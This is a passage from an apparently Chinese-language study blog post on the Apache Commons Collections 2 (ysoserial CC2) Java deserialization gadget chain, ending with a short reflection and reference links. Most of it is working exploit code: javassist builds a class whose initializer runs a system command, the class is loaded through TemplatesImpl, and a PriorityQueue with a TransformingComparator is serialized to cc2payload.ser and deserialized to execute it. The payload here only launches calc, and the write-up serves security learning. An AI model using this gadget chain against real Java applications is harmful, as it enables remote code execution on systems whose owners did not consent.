//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

//设置比较器,目的调用compare方法去执行invokerTransformer.transform(),执行getOutputProperties方法
TransformingComparator comparator=new TransformingComparator(invokerTransformer);
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",comparator);
//设置传递的队列元素,需要将templates对象传入,目的调用InvokerTransformer.transform(TemplatesImpl)
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2payload.ser"));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

实现demo:

其中报错跟上文cc2分析和TemplatesImpl类学习的报错一样就不再赘述了

0x06、总结

总的来说cc2-yso链比普通链复杂了很多,其中也学习了javassist生成字节码,再到TemplatesImpl去读取字节码实例化,最后结合优先级队列实现命令执行。
绕来绕去这中间确实花了不少时间,有些调用细节还是需要多看一下才能发现精髓(也确实费时间),但对调用的很多类都还没有从jdk源码上真正明白他们每个类的每个方法是实现怎样的作用,只从利用链角度去了解了调用到的链的类的相关原理,后面尽量多去了解那些类的原理。

0x07、参考链接

https://www.cnblogs.com/nice0e3/p/13811335.html
https://www.cnblogs.com/hlkawa/p/15383289.html
https://www.jianshu.com/p/cb591a12f50c
https://paper.seebug.org/1242/#commonscollections-2
https://www.anquanke.com/post/id/247044?from=timeline#h2-0